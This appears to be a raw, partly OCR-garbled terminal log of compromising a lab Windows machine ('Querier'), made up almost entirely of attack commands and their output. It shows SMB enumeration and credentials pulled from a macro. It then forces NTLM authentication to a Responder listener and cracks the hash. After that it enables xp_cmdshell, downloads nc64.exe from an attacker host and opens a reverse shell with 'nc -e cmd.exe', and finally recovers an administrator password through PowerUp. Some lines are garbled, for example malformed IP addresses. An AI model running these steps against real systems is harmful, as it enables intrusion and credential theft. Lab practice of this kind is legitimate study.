```
ali:~/Masaüstü# nmap -sS -sV -p- -T4 10.10.10.125
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-18 18:51 +03
Warning: 10.10.10.125 giving up on port because retransmission cap hit (6).
Stats: 0:05:52 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 27.92% done; ETC: 19:12 (0:15:09 remaining)
Stats: 0:20:44 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 87.67% done; ETC: 19:15 (0:02:55 remaining)
Nmap scan report for 10.10.10.125
Host is up (0.26s latency).
Not shown: 65508 closed ports
PORT
         STATE
                   SERVICE
                                 VERSION
135/tcp
         open
                   msrpc
                                 Microsoft Windows RPC
         open
                                 Microsoft Windows netbios-ssn
139/tcp
                   netbios-ssn
                   microsoft-ds?
445/tcp
         open
1433/tcp open
                   ms-sql-s
                                 Microsoft SQL Server vNext tech preview 14.00.1000
2500/tcp filtered rtsserv
3426/tcp filtered arkivio
5985/tcp open
                                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
                  http
15396/tcp filtered unknown
19384/tcp filtered unknown
34038/tcp filtered unknown
36384/tcp filtered unknown
40589/tcp filtered unknown
46784/tcp filtered unknown
47001/tcp open
                                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
                   http
47445/tcp filtered unknown
49664/tcp open
                                 Microsoft Windows RPC
                   msrpc
49665/tcp open
                                 Microsoft Windows RPC
                   msrpc
                                 Microsoft Windows RPC
49666/tcp open
                   msrpc
49667/tcp open
                   unknown
49668/tcp open
                                 Microsoft Windows RPC
                   msrpc
```

```
ot@kali:~/Masaüstü# smbclient -L 10.10.10.125
Enter WORKGROUP\root's password:
                         Type Comment
        Sharename
                          Disk Remote Admin
        ADMIN$
                                    Default share
        C$
                          Disk
        IPC$
                          IPC
                                     Remote IPC
        Reports
                          Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with_SMB1 -- no workgroup available
```

```
Failed to connect with SMB1 -- no workgroup available
root@kali:~/Masaüstü# smbclient \\\\10.10.10.10.125\\Reports
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir

D
D
Tue Jan 29 02:23:48 2019

Currency Volume Report.xlsm
A
12229 Mon Jan 28 01:21:34 2019

6469119 blocks of size 4096. 1561858 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (11.1 KiloBytes/sec) (average 11.1 KiloBytes/sec)
```

root@kali:~/Masaüstü/output# binwalk Currency\ Volume\ Report.xlsm			
DECIMAL	HEXADECIMAL	DESCRIPTION	
9	0×0	Zip archive data, at least v2.0 to extract, compressed size: 367, uncompressed size: 1087, name: [Content Types].xml	
936	0x3A8	Zip archive data, at least v2.0 to extract, compressed size: 244, uncompressed size: 588, name: rels/.rels	
1741	0x6CD	Zip archive data, at least v2.0 to extract, compressed size: 813, uncompressed size: 1821, name: xl/workbook.xml	
2599	0xA27	Zip archive data, at least v2.0 to extract, compressed size: 260, uncompressed size: 679, name: xl/ rels/workbook.xml.rels	
3179	0xC6B	Zip archive data, at least v2.0 to extract, compressed size: 491, uncompressed size: 1010, name: xl/worksheets/sheet1.xml	
3724	0xE8C	Zip archive data, at least v2.0 to extract, compressed size: 1870, uncompressed size: 8390, name: xl/theme/theme1.xml	
5643	0×160B	Zip archive data, at least v2.0 to extract, compressed size: 676, uncompressed size: 1618, name: xl/styles.xml	
6362	0x18DA	Zip archive data, at least v2.0 to extract, compressed size: 3817, uncompressed size: 10240, name: xl/vbaProject.bin	
10226	0x27F2	Zip archive data, at least v2.0 to extract, compressed size: 323, uncompressed size: 601, name: docProps/core.xml	
10860	0x2A6C	Zip archive data, at least v2.0 to extract, compressed size: 400, uncompressed size: 794, name: docProps/app.xml	
12207	0x2FAF	End of Zip archive, footer length: 22	

```
ali:~/Masaüstü/output/_Currency Volume Report.xlsm.extracted/xl# strings vbaProject.bin
macro to pull data for client volume reports
n.Conn]
0pen
rver=<
SELECT * FROM volume;
word>
MsaBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
further testing required
Attribut
e VB Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
Global
Spac
.
dCreat
Pred
ecla
BExpo
Templ
ateDer<u>i</u>v
Bustomi
acro to @pull d
for clie
nt volu
reports
further
testing@ requi
ub Conne
ct()
As A DODB.
iohn
ecordset
Dr={S0
```

root@kali:/usr/share/doc/python-impacket/examples# ./mssqlclient.py -db volume -windows-auth reporting@10.10.10.125 Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
Password: [*] ENCYHANGE(DATABASE): Old Value: master, New Value: volume [*] ENVCHANGE(LANGUAGE): Old Value: master, New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: None, New Value: 16192 [*] INFO(QUERIER): Line 1: Changed database context to 'volume'. [*] INFO(QUERIER): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press help for extra shell commands SQL> exec master.dbo.xp_dirtree '\\10.10.14.68\ghroot' subdirectory
depth

```
Kerberos server
                                [ON]
                               [ON]
    SQL server
    FTP server
                                [ON]
   IMAP server
                               [ON]
   POP3 server
                               [ON]
   SMTP server
                               [ON]
   DNS server
                               [ON]
   LDAP server
                                [ON]
[+] HTTP Options:
   Always serving EXE
   Serving EXE
    Serving HTML
   Upstream Proxy
[+] Poisoning Options:
   Analyze Mode
   Force WPAD auth
    Force Basic Auth
    Force LM downgrade
    Fingerprint hosts
[+] Generic Options:
   Responder NIC
                               [tun0]
                               [10.10.14.68]
   Responder IP
   Challenge set
                               [random]
   Don't Respond To Names
                               ['ISATAP']
                           responder -I tun0
[+] Listening for events...
[*] Skipping previously captured hash for QUERIER\mssql-svc
[*] Skipping previously captured hash for QUERIER\mssql-svc
[*] Skipping previously captured hash for \gX
[*] Skipping previously captured hash for \gX
```

mssql-svc::QUERIER: 042cb0a3f8b537b1:F87E2DD56FF6531420C6770D95BC4B87:0101000000000000000000000000000000000

root@kali:~/Masaustu# john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:00:09 DONE (2019-02-18 19:07) 0.1058g/s 948581p/s 948581c/s 948581C/s correforenz..corby909
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

```
:~/Masaüstü# /usr/share/doc/python-impacket/examples/mssqlclient.py -db volume -windows-auth mssql-svc@10.10.125
Impacket v0.9.17 - Copyrigni 2002-2018 core Security recnnologies
Password:
 [*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE)
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press helo for extra shell commands
SQL> enable xp cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure.
SQL> reconfigure
SQL> xp_cmdshell powershell Invoke-WebRequest -Uri "http://10.10.12.144:8081/nc64.exe" -OutFile "C:\users\mssql-svc\downloads\nc64.exe"
output
 SQL> xp_cmdshell dir C:\users\mssql-svc\downloads\
output
  Volume in drive C has no label.
Volume Serial Number is FE98-F373
 NIII I
 Directory of C:\users\mssql-svc\downloads
NULL
<DIR>
                                      <DIR>
                        SQL> xp cmdshell dir C:\users\mssql-svc\downloads\nc64.exe 10.10.12.144 4444 -e cmd.exe
```

```
root@kali:~/Downloads# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.12.144] from (UNKNOWN) [10.10.10.125] 49684
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>id
id
'id' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>whoami
whoami
querier\mssql-svc
```

powershell PowerUp.ps1 Changed : {2019-01-28 23:12:48} UserNames : {Administrator} NewName : [BLANK]

Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group

Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml